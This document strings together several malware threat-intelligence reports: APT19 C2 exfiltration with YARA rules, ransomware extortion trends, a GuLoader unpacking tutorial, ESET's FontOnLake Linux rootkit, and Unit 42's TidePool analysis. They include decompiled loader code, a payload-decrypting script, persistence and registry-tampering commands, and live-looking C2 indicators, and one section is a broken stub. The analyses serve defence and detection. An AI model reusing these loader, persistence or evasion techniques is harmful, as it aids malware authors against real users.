There is a call to the GlobalMemoryStatusEx function in order to retrieve information about the physical and virtual memory. The amount of physical memory and the amount of physical memory currently available are saved as 32-bit values to the buffer which will be exfiltrated. Also, the processor name is retrieved using a few cpuid instructions (“AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx”) and then copied to the same buffer. The malicious process extracts the width and the height of the screen of the primary monitor (in pixels) via two GetSystemMetrics calls.
Again, 12 random chars are generated via the same algorithm as presented before, and then the following URI is constructed (data=12 random chars): “/money/ofcom-fines-nuisance-calls?0023528461146965&data=qgvuclxxlgip”. The function WinHttpOpen is called using the user agent extracted earlier from the registry, “Mozilla/4.0 (compatible; MSIE 8.0; Win32)”.
As before, the file calls the WinHttpSetTimeouts function using the parameters set as 120 seconds, and then it tries to connect to the C2 server (www.microsoft-cache[.]com) on port 443. The process performs a GET request using WinHttpOpenRequest and WinHttpSendRequest APIs.
If the request is not successful, the process sleeps for 180 seconds, and then it tries again. The process retrieves header information by calling WinHttpQueryHeaders with 0x16 (WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter. As before, the malware extracts the status code and checks if it’s equal to 200 by calling WinHttpQueryHeaders API with 0x20000013 (WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter.
Now there is a call to the WinHttpQueryDataAvailable function, and then it reads the data returned by the C2 server using WinHttpReadData API. The buffer containing the information that will be exfiltrated is XORed byte-by-byte with a one-byte key. The following information belongs to the buffer: the C2 server address, hostname, username, IP address represented as hex values, 01 constant because the process is running on a 64-bit environment, the result of GetLocaleInfoA call (0x1b5 = 437 in our case), the amount of physical memory represented as a 32-bit value, the amount of physical memory currently available represented as a 32-bit value, the processor name, the width of the screen of the primary display monitor represented as a 32-bit value (0x780 = 1920 in our case) and the height of the screen of the primary display monitor represented as a 32-bit value (0x438 = 1080 in our case).
The malware developers have written their implementation of the Base64 algorithm rather than relying on Windows APIs. The encrypted buffer is encoded with the Base64 algorithm.
As before, there is a WinHttpOpen API call (same user agent as the last time) followed by a WinHttpSetTimeouts function call, and then it tries to connect to www.microsoft-cache[.]com on port 443 using WinHttpConnect API. The malware performs a POST request by calling the WinHttpOpenRequest function (as before, the data parameter contains randomly generated characters).
The encrypted and encoded buffer is exfiltrated to the C2 server via a WinHttpWriteData function call. The malicious process performs two WinHttpQueryHeaders function calls: the first one has 0x16 (WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter and the second one has 0x20000013 (WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter. It checks the status code and ensures that it’s 200. The thread continues by calling WinHttpQueryDataAvailable and WinHttpReadData APIs to retrieve the server’s response.
The malware performs another GET request to the C2 server. The same steps as before are repeated one more time: two WinHttpQueryHeaders calls followed by WinHttpQueryDataAvailable and then WinHttpReadData in order to read the data sent by the server. According to the Unit42 article, the server’s response should contain a “background-color” parameter followed by “#” and an offset. The offset is read, converted to an integer using the atoi function, and then divided by 100.
The idea is that the malware reads the data found at the position equal to offset/100. In our case, we’ve modified the response to contain “#28300” which translates to an offset of 28300 (the position will be 28300/100 = 283). The following picture reveals the fact that the process reads the data found at that specific position (0x11b = 283).
According to the same article, the first four bytes represent the total length, and the remaining data would be Base64-encoded. Indeed we were able to identify the function where the server’s response is Base64-decoded.
At the time of analysis, no live response has been provided by the C2 server. According to the Unit42 article, the server would respond with a DLL file with four exports: StartWorker, StopWorker, WorkerRun, and DllEntryPoint. Even if we didn’t receive a valid response from the server, we were able to find out that the malicious process allocates a new memory area in order to write the DLL code inside.
The new area of memory has to be executable because the potential DLL has to run, and that’s why the malware uses VirtualProtect in order to change the protection of the area. After the malicious code would be written in the new memory location, the process would pass the execution flow to the new DLL file.
## Indicators of Compromise
- **C2 domain:** www.microsoft-cache[.]com
- **C2 IP address:** 106.185.43.96
- **SHA256:** DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292
- **URLs:**
- 106.185.43.96/user/atv.html
- www.microsoft-cache[.]com:443/money/ofcom-fines-nuisance-calls?0023528460592137&data=<12 random chars>
- www.microsoft-cache[.]com:443/world/video/shrien-dewani-arrives-uk-murder-trial-collapses-video?0023528461146965&data=<12 random chars>
- www.microsoft-cache[.]com:443/lifeandstyle/marmalade-paddington-sales-up-making-drinking?0023528460592137&data=<12 random chars>
## Yara Rules for Detecting the Threat
```yara
rule APT19_1 {
meta:
author = "CyberMasterV"
Date = "2020-12-26"
strings:
$s1 = "http://www.google.com" wide ascii
$s2 = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3" wide ascii
$s3 = "%s?%016I64d&data=%s"
$s4 = "DebugCreate"
$s5 = "DebugConnect"
condition:
4 of them
}
rule APT19_2 {
meta:
author = "CyberMasterV"
Date = "2020-12-26"
strings:
$s1 = "DbgEng.Dll" wide ascii
$s2 = "Windows Helper Service"
$s3 = "WinHelpSrv"
$s4 = "KBKBKBKBKBKB"
condition:
3 of them
}
``` |
# Tracking and Combatting an Evolving Danger: Ransomware Extortion
Ransomware gangs have intensified their impact by attempting, and often succeeding, in stealing data to coerce payments. The onset of the COVID-19 pandemic offered a catalyst for this tactic with its accompanying weakened organizational security and increased levels of fear and anxiety among workers—key conditions for successful extortion attempts. As a result, we are seeing more companies being targeted with various new extortion techniques, and ransomware gangs are accumulating large profits.
## How have ransomware extortion tactics evolved?
In the second half of 2020, Accenture Cyber Threat Intelligence observed ransomware groups attempting to ratchet up pressure on victims to pay ransoms by increasing service disruptions and reputational damage. At the same time, some groups are also attempting to build trust with their victims by setting out a framework of “principles” they adhere to or providing a set of “guarantees” to increase the chances ransoms will be paid.
### Trend 1: Expanded Service Disruption
The principal impact of a ransomware attack has always been service disruption. When its network or a portion is ‘held hostage,’ an organization faces pressure to acquiesce to ransom demands in the hope of restoring operations. The good news is that many organizations are now more effective at defending against and recovering from the ransomware itself. Unfortunately, threat actors are also upping their game.
#### Tactic: DDOS Attacks
A concerning new tactic is the addition of distributed denial of service (DDOS) attacks to ransomware and data theft attempts. SunCrypt often deploys a DDOS attack when ransom payment negotiations stall. For organizations already suffering a service disruption due to the ransomware, a DDOS attack may exacerbate the disruption and complicate mitigation. This is particularly troublesome for organizations in industries where any extended downtime can be very damaging, such as healthcare, logistics, and financial services.
**How to protect against DDOS attacks:**
- Establish strong working relationships with internet service providers while also preparing a coordinated approach to DDOS attacks.
- Deploy appropriate technology to recognize the signs of a DDOS attack early.
- Prepare and test Incident Response playbooks and DDOS mitigation plans.
### Trend 2: Increased Reputation Damage
Ransomware gangs are becoming increasingly effective at exposing successful attacks to the public to elicit payment. To pressure victims to pay, particularly those that succeed in minimizing the service disruption, groups usually first threaten to damage the reputation of the victim and, if that does not succeed, start releasing sensitive information. Publicly exposing information may lead a victim’s customer base to believe the victim is lying about the compromise, has poor network security, or could still be compromised—all of which can lead to long-term reputational damage for the victim.
#### Tactic: Retaliating Against Companies That Deny or Withhold Information About a Breach
This past October, REvil (a.k.a. Sodinokibi) ransomware operators noticed that one of its targets had notified its clients that it was unable to verify claims of data theft. In retaliation, REvil published screenshots of negotiations with the company to refute that statement.
Nefilim ransomware operators use their blog “Corporate Leaks” to release victims' data in increments. In September, the media reported on a victim of a yet-unattributed cyber attack, which included a quote from a security professional associated with the victim. The quote suggested there was no evidence of access or theft of data. In response, in an October blog post, Nefilim pasted the quote and uploaded several files purportedly belonging to the victim.
This confirms ransomware gangs follow news coverage on their victims and will discredit them by publishing and responding to victim statements.
**Mitigation:**
- Implement a clear media strategy to convey information about a cybersecurity incident.
- Exercise caution when releasing statements denying the extent of any attack until the full details are known, as attackers will expose any miscommunications or falsehoods.
### Trend 3: Increased Attack Costs
Data theft and exposure is now firmly front and center in the arsenal of most ransomware gangs’ extortion tactics, which can increase the cost of the attack. Attackers are extorting higher ransoms and eliciting prompt victim payment by taking advantage of data breach regulations such as the European Union’s General Data Protection Regulation (GDPR) or US state legislation requiring those suffering a data breach to notify relevant stakeholders. Data breach victims can face stiff fines for violating such rules.
#### Tactic: Exposing Increasingly Personal and Sensitive Information
In October, the REvil blog posted a page that contained the last will and testament of the company owner of one of its victims and threatened to publish passport information on the owner’s family. In addition, they posted the company’s entire insurance policy which included a “Cyber Extortion Loss” coverage limit of $5 million.
**Mitigation:**
- Incorporate strict handling policies for personal identifiable information (PII) and ensure minimal personal sensitive data is stored on corporate networks.
- Take steps to secure networks against data theft: keeping software up to date, carrying out regular risk assessments, encrypting and backing up data, and training staff on best practices.
### Trend 4: Facilitating Ransom Payment to Resolve a Breach
In stark contrast to the above trends, some gangs are attempting to set themselves apart as trustworthy, charitable, and easy to do business with, in order to encourage ransom payment cooperation. These gangs will streamline the payment and decryption process and publicly state their ‘ethical’ business model, which supposedly translates to less chance of media coverage, less downtime, and no data exposure.
#### Tactic: The ‘Nice Guy’ Approach
Ragnar Locker ransomware operators provide clear instructions on how to pay and use their decryptor, and provide the ‘Ragnar_Locker Team Guarantee.’ The guarantee touches upon malicious extortion techniques employed by other gangs: posting conversations (REvil), leaving backdoors (Egregor), and launching DDoS attacks (SunCrypt). They also claim to identify and address other vulnerabilities to reduce their victim's chance of suffering a future ransomware attack.
**Mitigation:**
ACTI acknowledges that the ransom payment debate is complicated. Victims must weigh the pros and cons of ransom payment with the pressure to quickly resolve the network disruption. Despite attempting to appear principled, threat actors are not always true to their word. Ransomware gangs have said they will not attack hospitals but have then attacked a hospital. They have promised to delete stolen data that subsequently appeared on dark web forums.
ACTI suggests following the guidance contained within Accenture Security’s blog "Securing your business and the world from ransomware." This highlights the need to follow advice contained within the US government advisory related to ransom payments. ACTI also stresses the importance of having a clear post-breach strategy in place to lessen the impact of these extortion techniques if an attack occurs. This includes comprehensive incident response playbooks, business continuity and disaster recovery plans, and implementing a clear media strategy. |
# CloudEye (GuLoader) Analysis
CloudEye (originally GuLoader) is a small malware downloader written in Visual Basic that's used in delivering all sorts of malicious payloads to victim machines. Its primary function is to download, decrypt, and run an executable binary off a server (commonly a legitimate one like Google Drive or Microsoft OneDrive).
At the time of writing this article, the malicious code can be split into two parts:
- The core of the program that performs VM checks, downloads the code, decrypts, and runs it.
- A small wrapper that hides the core by encrypting it with a simple XOR algorithm.
While the outer layer is pretty tiny and straightforward, mimicking it and manually unpacking the core can be a bit of a headache. In this article, we'll explain how one can leverage IDA Pro functionalities to simplify this process.
## Sample Analyzed
The first thing you want to do while reverse-engineering Visual Basic binaries in IDA is grab a `vb.idc`. It's a super useful IDA script that parses the embedded VB metadata and provides you with much more information about the binary than the original analysis.
Compare the number of detected event entry points before running the script and after.
Locating the malware entry point is still not trivial, though. You can iterate over all discovered entry points and judge if there's anything suspicious or not, but that can become quite tedious, and you can still miss some better-hidden code.
Sometimes, a good method is to search for all `add` instructions and find the "odd one" with a large immediate value sticking out. You can do that in IDA either by selecting `Search -> Text` or if you're aspiring to be a power-user: by quickly tapping `Alt + t`. Make sure you check the `Find all occurrences` box; this will take IDA a bit longer, but it will allow you to inspect all matches at once.
Now, navigate to the function in question and press `Tab` to see the matching decompilation (as usual, the decompiler does most of the job for us).
With the malware entry address `0x4023CE`, we can now begin analyzing the real loader. Let's jump to the entry address by selecting `Jump -> Jump to address` (shortcut `g`). Surprisingly, there's no code there, just a bunch of data.
That's because IDA didn't know to follow the code reference; to fix that, we'll have to mark the data as code ourselves. Start by undefining the fragment `Edit -> Undefine` (shortcut `u`). This will split the large chunk of data into single-byte lines.
Now we can once again jump to `0x4023CE` (the original line contained many bytes, and IDA doesn't know which one to follow and decides to stay on the first byte) and mark the data as code `Edit -> Code` (shortcut `c`). This will automatically disassemble all reachable code blocks and functions.
We can almost immediately notice that this isn't an ordinary function, but something rather weird is going on: there are many jumps with random data between them. We can clear it up a bit by grouping the data between code blocks together and adding a few arrows.
Some of our avid readers will surely recognize this pattern from our Dissecting Smoke Loader article. The main takeaway was that while manually reconstructing the code flow and creating a new disassembly is possible, usually, the best method is to let IDA decompiler deal with such obfuscations.
But if we try to create a new function at the start address (`Edit -> Functions -> Create Function` shortcut `p`), all we get is this annoying error message: `.text:00402FEE: The function has undefined instruction/data at the specified address. Your request has been put in the autoanalysis queue.`
That's because IDA wasn't able to disassemble the code at the given address; let's see what the fuzz is about. Well, yes, it doesn't look too correct. Instructions in the form of `jmp short near ptr <addr>+<number>` should almost always raise a red flag for you. It very often means that the `jmp` (or any other code-flow-altering instruction) tries to jump into the middle of already defined code/data. In this case, though, it looks like IDA just made an error, and we have to mark the data as code manually, similarly as we had done previously.
Good as new! We may have to repeat this several times before we get all parts correct. At some point, though, we'll come across a fragment that no longer looks like correct x86 code. That's the code that gets decrypted in previous code blocks; naturally, IDA won't decompile invalid instructions. We can get around that using (at least) two methods:
- By selecting the code segments we want to include in our newly-created function.
- By patching the last `jmp` instruction to `ret`, which will cut off the last invalid block from our function.
We'll go with the first method as it's a bit more elegant and simple; for any adventurous readers, the `Edit -> Patch program` menu and a good x86 opcode reference should be more than enough to try out the other method.
Selecting the whole memory range by dragging the mouse is a bit boring and can sometimes deselect the selected code on its own. We'll use the `Edit -> Begin selection` (shortcut `Alt + l`) command. Position the cursor just before the final `jmp` instruction, begin the selection, go to the loader's entry point (`0x4023CE`), and create a new function. If everything goes correctly, the relevant fragment in the sidebar should change its color to blue.
You should be able to tap `Tab` and view the simple decompilation pseudocode:
```c
void sub_4023CE()
{
int v0; // ecx
char *v1; // eax
void (*v2)(void); // eax
int i; // ecx
v0 = 21564845;
do
{
__asm { finit }
--v0;
}
while ( v0 );
v1 = &rtcCos;
do
--v1;
while ( *v1 != "\x90ZM" );
v2 = (*(v1 + 1075))(0, 40960, 4096, 64);
for ( i = 0; i != 22396; i = i - 40 + 44 )
*(v2 + i) = _mm_cvtsi64_si32(_m_pxor(_mm_cvtsi32_si64(*(&loc_403F3F + i)),
_mm_cvtsi32_si64(0x59DA0A67u)));
v2();
JUMPOUT(0x403F34);
}
```
Going step by step:
```c
v0 = 21564845;
do
{
__asm { finit }
--v0;
}
```
This is a simple sleep snippet, nothing super interesting there.
```c
v1 = &rtcCos;
do
--v1;
while ( *v1 != "\x90ZM" );
v2 = (*(v1 + 1075))(4300, 0, 0, 40960, 4096, 64);
```
This is a bit more interesting; it fetches the pointer to `rtcCos` from `MSVBVM60.DLL` and then iterates downrange to find the image's base address. It then uses that address to calculate a function address by adding `1075` to the pointer. If we load the DLL in IDA and navigate to the fetched address (`0x732A0000 + 1075 * 4`), we can learn that it's `VirtualAlloc`. So this is all just a sneaky way of calling it without clearly indicating it in imports.
```c
for ( i = 0; i != 22396; i = i - 40 + 44 )
*(v2 + i) = _mm_cvtsi64_si32(_m_pxor(_mm_cvtsi32_si64(*(&loc_403F3F + i)),
_mm_cvtsi32_si64(0x59DA0A67u)));
```
This part copies `22396` bytes from `0x403F3F` into the newly allocated buffer, XORing it with the constant `0x59DA0A67` in the process.
We can get the decrypted core without debugging the binary using a short Python script:
```python
import struct
from malduck import xor
data = xor(key=struct.pack("<I", 0x59DA0A67), data=get_bytes(0x403F3F, 22396))
with open("decrypted.bin", "wb") as f:
f.write(data)
```
And finally, the program jumps into the newly copied buffer.
Tune in next time to the second part, where we'll describe some of CloudEye's functions and discuss how we can extract the download URLs and the encryption key from unpacked samples automatically using Malduck. |
# FontOnLake: Previously Unknown Malware Family Targeting Linux
ESET researchers have discovered a previously unknown malware family that utilizes custom and well-designed modules, targeting systems running Linux. Modules used by this malware family, which we dubbed FontOnLake, are constantly under development and provide remote access to the operators, collect credentials, and serve as a proxy server. In this blog post, we summarize the findings published in full in our white paper.
To collect data (for instance, SSH credentials) or conduct other malicious activity, this malware family uses modified legitimate binaries that are adjusted to load further components. In fact, to conceal its existence, FontOnLake’s presence is always accompanied by a rootkit. These binaries such as `cat`, `kill`, or `sshd` are commonly used on Linux systems and can additionally serve as a persistence mechanism. The sneaky nature of FontOnLake’s tools in combination with advanced design and low prevalence suggest that they are used in targeted attacks.
The first known file of this malware family appeared on VirusTotal last May, and other samples were uploaded throughout the year. The location of the C&C server and the countries from which the samples were uploaded to VirusTotal might indicate that its targets include Southeast Asia. We believe that FontOnLake’s operators are particularly cautious since almost all samples seen use unique C&C servers with varying non-standard ports. The authors use mostly C/C++ and various third-party libraries such as Boost, Poco, or Protobuf. None of the C&C servers used in samples uploaded to VirusTotal were active at the time of writing, which indicates that they could have been disabled due to the upload.
## Known Components of FontOnLake
FontOnLake’s currently known components can be divided into three following groups that interact with each other:
1. **Trojanized applications** – modified legitimate binaries that are adjusted to load further components, collect data, or conduct other malicious activities.
2. **Backdoors** – user mode components serving as the main point of communication for its operators.
3. **Rootkits** – kernel mode components that mostly hide and disguise their presence, assist with updates, or provide fallback backdoors.
### Trojanized Applications
We discovered multiple trojanized applications; they are used mostly to load custom backdoor or rootkit modules. Aside from that, they can also collect sensitive data. Patches of the applications are most likely applied on the source code level, which indicates that the applications must have been compiled and replaced the original ones. All the trojanized files are standard Linux utilities and each serves as a persistence method because they are commonly executed on system start-up. The initial way in which these trojanized applications get to their victims is not known.
Communication of a trojanized application with its rootkit runs through a virtual file, which is created and managed by the rootkit. Data can be read/written from/to the virtual file and exported with its backdoor component upon the operator’s request.
### Backdoors
The three different backdoors we discovered are written in C++ and all use, albeit in slightly different ways, the same Asio library from Boost for asynchronous network and low-level I/O. Poco, Protobuf, and features from STL such as smart pointers are used as well. What is rare for malware is the fact that these backdoors also feature a number of software design patterns. The functionality that they all have in common is that each exfiltrates collected credentials and its bash command history to its C&C. Considering some of the overlapping functionality, most likely these different backdoors are not used together on one compromised system. All the backdoors additionally use custom heartbeat commands sent and received periodically to keep the connection alive.
The overall functionality of these backdoors consists of the following methods:
- Exfiltrating the collected data
- Creating a bridge between a custom SSH server running locally and its C&C
- Manipulating files (for instance, upload/download, create/delete, directory listing, modify attributes, and so on)
- Serving as a proxy
- Executing arbitrary shell commands and Python scripts
### Rootkit
We discovered two marginally different versions of the rootkit, used only one at a time, in each of the three backdoors. There are significant differences between those two rootkits; however, certain aspects of them overlap. Even though the rootkit versions are based on the suterusu open-source project, they contain several of FontOnLake’s exclusive, custom techniques. Combined functionality of the two versions of the rootkit we discovered include:
- Process hiding
- File hiding
- Hiding itself
- Hiding network connections
- Exposing the collected credentials to its backdoor
- Performing port forwarding
- Magic packets reception (magic packets are specially crafted packets that can instruct the rootkit to download and execute another backdoor)
Following our discovery while finalizing our white paper on this topic, vendors such as Tencent Security Response Center, Avast, and Lacework Labs published their research on what appears to be the same malware. All known components of FontOnLake are detected by ESET products as Linux/FontOnLake. Companies or individuals who want to protect their Linux endpoints or servers from this threat should use a multilayered security product and an updated version of their Linux distribution; some of the samples we have analyzed were created specifically for CentOS and Debian.
In the past, we described an operation that shared certain behavioral patterns with FontOnLake; however, its scale and impact were much bigger. We dubbed it Operation Windigo.
## IoCs
### Samples
| SHA-1 | Description | Detection name |
|-------|-------------|----------------|
| 1F52DB8E3FC3040C017928F5FFD99D9FA4757BF8 | Trojanized cat | Linux/FontOnLake |
| 771340752985DD8E84CF3843C9843EF7A76A39E7 | Trojanized kill | |
| 27E868C0505144F0708170DF701D7C1AE8E1FAEA | Trojanized sftp | |
| 45E94ABEDAD8C0044A43FF6D72A5C44C6ABD9378 | Trojanized sshd | |
| 1829B0E34807765F2B254EA5514D7BB587AECA3F | Custom sshd | |
| 8D6ACA824D1A717AE908669E356E2D4BB6F857B0 | Custom sshd | |
| 38B09D690FAFE81E964CBD45EC7CF20DCB296B4D | Backdoor 1 variant 1 | |
| 56556A53741111C04853A5E84744807EEADFF63A | Backdoor 1 variant 2 | |
| FE26CB98AA1416A8B1F6CED4AC1B5400517257B2 | Backdoor 1 variant 3 | |
| D4E0E38EC69CBB71475D8A22EDB428C3E955A5EA | Backdoor 1 variant 4 | |
| 204046B3279B487863738DDB17CBB6718AF2A83A | Backdoor 2 variant 1 | |
| 9C803D1E39F335F213F367A84D3DF6150E5FE172 | Backdoor 2 variant 2 | |
| BFCC4E6628B63C92BC46219937EA7582EA6FBB41 | Backdoor 2 variant 3 | |
| 515CFB5CB760D3A1DA31E9F906EA7F84F17C5136 | Backdoor 3 variant 4 | |
| A9ED0837E3AF698906B229CA28B988010BCD5DC1 | Backdoor 3 variant 5 | |
| 56CB85675FE7A7896F0AA5365FF391AC376D9953 | Rootkit 1 version 1 | |
| 72C9C5CE50A38D0A2B9CEF6ADEAB1008BFF12496 | Rootkit 1 version 2 | |
| B439A503D68AD7164E0F32B03243A593312040F8 | Rootkit 1 version 3 | |
| E7BF0A35C2CD79A658615E312D35BBCFF9782672 | Rootkit 1 version 4 | |
| 56580E7BA6BF26D878C538985A6DC62CA094CD04 | Rootkit 1 version 5 | |
| 49D4E5FCD3A3018A88F329AE47EF4C87C6A2D27A | Rootkit 1 version 5 | |
| 74D44C2949DA7D5164ADEC78801733680DA8C110 | Rootkit 2 version 1 | |
| 74D755E8566340A752B1DB603EF468253ADAB6BD | Rootkit 2 version 2 | |
| E20F87497023E3454B5B1A22FE6C5A5501EAE2CB | Rootkit 2 version 3 | |
| 6F43C598CD9E63F550FF4E6EF51500E47D0211F3 | inject.so | |
### C&Cs
From samples:
- 47.107.60[.]212
- 47.112.197[.]119
- 156.238.111[.]174
- 172.96.231[.]69
- hm2.yrnykx[.]com
- ywbgrcrupasdiqxknwgceatlnbvmezti[.]com
- yhgrffndvzbtoilmundkmvbaxrjtqsew[.]com
- wcmbqxzeuopnvyfmhkstaretfciywdrl[.]name
- ruciplbrxwjscyhtapvlfskoqqgnxevw[.]name
- pdjwebrfgdyzljmwtxcoyomapxtzchvn[.]com
- nfcomizsdseqiomzqrxwvtprxbljkpgd[.]name
- hkxpqdtgsucylodaejmzmtnkpfvojabe[.]com
- etzndtcvqvyxajpcgwkzsoweaubilflh[.]com
- esnoptdkkiirzewlpgmccbwuynvxjumf[.]name
- ekubhtlgnjndrmjbsqitdvvewcgzpacy[.]name
From internet-wide scan:
- 27.102.130[.]63
### Filenames
- /lib/modules/%VARIABLE%/kernel/drivers/input/misc/ati_remote3.ko
- /etc/sysconfig/modules/ati_remote3.modules
- /tmp/.tmp_%RANDOM%
### Virtual Filenames
- /proc/.dot3
- /proc/.inl
## MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Initial Access | T1078 | Valid Accounts | FontOnLake can collect at least SSH credentials. |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | FontOnLake enables execution of Unix Shell commands. |
| Execution | T1059.006 | Command and Scripting Interpreter: Python | FontOnLake enables execution of arbitrary Python scripts. |
| Execution | T1106 | Native API | FontOnLake uses fork() to create additional processes such as sshd. |
| Execution | T1204 | User Execution | FontOnLake trojanizes standard tools such as cat to execute itself. |
| Persistence | T1547.006 | Boot or Logon Autostart Execution: Kernel Modules and Extensions | One of FontOnLake’s rootkits can be executed with a start-up script. |
| Persistence | T1037 | Boot or Logon Initialization Scripts | FontOnLake creates a system start-up script ati_remote3.modules. |
| Persistence | T1554 | Compromise Client Software Binary | FontOnLake modifies several standard binaries to achieve persistence. |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Some backdoors of FontOnLake can decrypt AES-encrypted and serialized communication and base64 decode encrypted C&C address. |
| Defense Evasion | T1222.002 | File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification | FontOnLake’s backdoor can change the permissions of the file it wants to execute. |
| Defense Evasion | T1564 | Hide Artifacts | FontOnLake hides its connections and processes with rootkits. |
| Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | FontOnLake hides its files with rootkits. |
| Defense Evasion | T1027 | Obfuscated Files or Information | FontOnLake packs its executables with UPX. |
| Defense Evasion | T1014 | Rootkit | FontOnLake uses rootkits to hide the presence of its processes, files, network connections, and drivers. |
| Credential Access | T1556 | Modify Authentication Process | FontOnLake modifies sshd to collect credentials. |
| Discovery | T1083 | File and Directory Discovery | One of FontOnLake’s backdoors can list files and directories. |
| Discovery | T1082 | System Information Discovery | FontOnLake can collect system information from the victim’s machine. |
| Lateral Movement | T1021.004 | Remote Services: SSH | FontOnLake collects SSH credentials and most probably intends to use them for lateral movement. |
| Command and Control | T1090 | Proxy | FontOnLake can serve as a proxy. |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | FontOnLake acquires additional C&C servers over HTTP. |
| Command and Control | T1071.002 | Application Layer Protocol: File Transfer Protocols | FontOnLake can download additional Python files to be executed over FTP. |
| Command and Control | T1132.001 | Data Encoding: Standard Encoding | FontOnLake uses base64 to encode HTTPS responses. |
| Command and Control | T1568 | Dynamic Resolution | FontOnLake can use HTTP to download resources that contain an IP address and port number pair to connect to and acquire its C&C. It can use dynamic DNS resolution to construct and resolve to a randomly chosen domain. |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | FontOnLake uses AES to encrypt communication with its C&C. |
| Command and Control | T1008 | Fallback Channels | FontOnLake can use dynamic DNS resolution to construct and resolve to a randomly chosen domain. One of its rootkits also listens for specially crafted packets, which instruct it to download and execute additional files. It also connects to a C&C and accepts connections on all interfaces. |
| Command and Control | T1095 | Non-Application Layer Protocol | FontOnLake uses TCP for communication with its C&C. |
| Command and Control | T1571 | Non-Standard Port | Almost every sample of FontOnLake uses a unique non-standard port. |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | FontOnLake uses its C&C to exfiltrate collected data. | |
# Dynamically Extracting the Encryption Key from a Simple Ransomware
Init Discord Partners |
# Operation Ke3chang and TidePool Malware Analysis
Posted by: Micah Yates, Mike Scott, Brandon Levene, Jen Miller-Osborn, and Tom Keigher on May 22, 2016
Little has been published on the threat actors responsible for Operation Ke3chang since the report was released more than two years ago. However, Unit 42 has recently discovered that the actors have continued to evolve their custom malware arsenal. We’ve discovered a new malware family we’ve named TidePool. It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide. This targeting is also consistent with previous attacker TTPs; Ke3chang historically targeted the Ministry of Affairs and conducted several prior campaigns against India.
Though we don’t have comprehensive targeting information, the spear phishing emails we found targeted several Indian embassies in different countries. One decoy references an annual report filed by over 30 Indian embassies across the globe. The sender addresses of the phishing emails spoof real people with ties to Indian embassies, adding legitimacy to the emails to prompt the recipients to open the attached file. Notably, the actors are exploiting a relatively new vulnerability in their attacks with TidePool, which is detailed below.
In this report, we will highlight the reuse of the code responsible for a variety of registry changes and command and control traffic over time as the Ke3chang actor has evolved their codebase to TidePool since the 2013 report. The weaponized document sent in phishing emails triggers the vulnerability outlined in CVE-2015-2545, which was first made public in September 2015. Unlike previously seen exploit carrier documents, this version comes packaged as an MHTML document which by default opens in Microsoft Word. We have seen multiple waves of activity with similar exploit documents, including those referenced in our recent Spivy blog. PwC recently released a report analyzing the exploit documents themselves. The samples we are covering are documented in the “Windows User_A” section of their report (the malware they refer to as “Danti Downloader”).
TidePool contains many capabilities common to most RATs. It allows the attacker to read, write, and delete files and folders, and run commands over named pipes. TidePool gathers information about the victim’s computer, base64 encodes the data, and sends it to the Command and Control (C2) server via HTTP, which matches capabilities of the BS2005 malware family used by the Ke3chang actor.
The TidePool malware is housed in an MHTML document which exploits CVE-2015-2545. The exploit code drops a DLL into `C:\Documents and Settings\AllUsers\IEHelper\mshtml.dll`. This dropped DLL is the TidePool sample. It also launches Internet Explorer as a subprocess of the svchost service. For persistence, TidePool utilizes an ActiveSetup key, which will launch itself on boot with the following parameters: `rundll32.exe C:\DOCUME~1\ALLUSE~1\IEHelper\mshtml.dll,,IEHelper`. The TidePool sample then sends victim computer information to the C2 server. Once a connection is made, the sample behaves as a RAT, receiving commands from the C2.
During our initial triage of the TidePool samples in AutoFocus, we noticed Windows Registry modifications that by themselves were not unique, but when viewed together were used by multiple malware families. One of these families is the “BS2005” malware family used by the Ke3chang actor. This motivated us to dig deeper, since we had not seen any public reporting on them since 2013. From this analysis, Unit 42 compared the code bases of the new malware family and the BS2005 malware samples. Based on our analysis, we believe this new malware, which we are calling TidePool, is an evolution of the BS2005 malware family used by the Ke3chang actor.
Unit 42 has discovered 11 similar registry modifications that both TidePool and BS2005 employ. The registry setting that TidePool and BS2005 focuses on is:
```
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEHarden -> 0
```
When the IEHarden Value is set to 0, it disables the Internet Explorer Enhanced Security configuration, which is designed to prevent the execution of scripts, ActiveX Controls, file downloads, and the Microsoft virtual machine for HTML content. This is a technique common to both BS2005 and TidePool malware.
Below is the routine within TidePool that modifies the IEHarden registry settings. The repetition, order, and uniqueness of the code base in this function allowed us to link TidePool back to older versions of BS2005 and Operation Ke3chang.
Code reuse overlap also allowed us to link the various interim malware iterations between Ke3chang and TidePool together. Going over every single code overlap would be tiresome, so we’ll highlight major functional similarities that allowed us to link TidePool to Operation Ke3chang. A listing of similar hashes and their compile dates can be found in the IOC section at the end of this blog. They are also divided into those that pre-date the Operation Ke3chang report and those that came after.
We compared 5 key samples that link TidePool to the original Operation Ke3chang malware. In order of comparison and usage, we looked at:
- **BS2005 Operation Ke3chang sample**: `233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f`
- **2013 post Ke3chang**: `012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc`
- **2014 post Ke3chang**: `04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05`
- **2014 post Ke3chang**: `eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4`
- **2015 Current TidePool**: `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
Starting with a known Operation Ke3chang BS2005 sample, we focus on the C2 obfuscation.
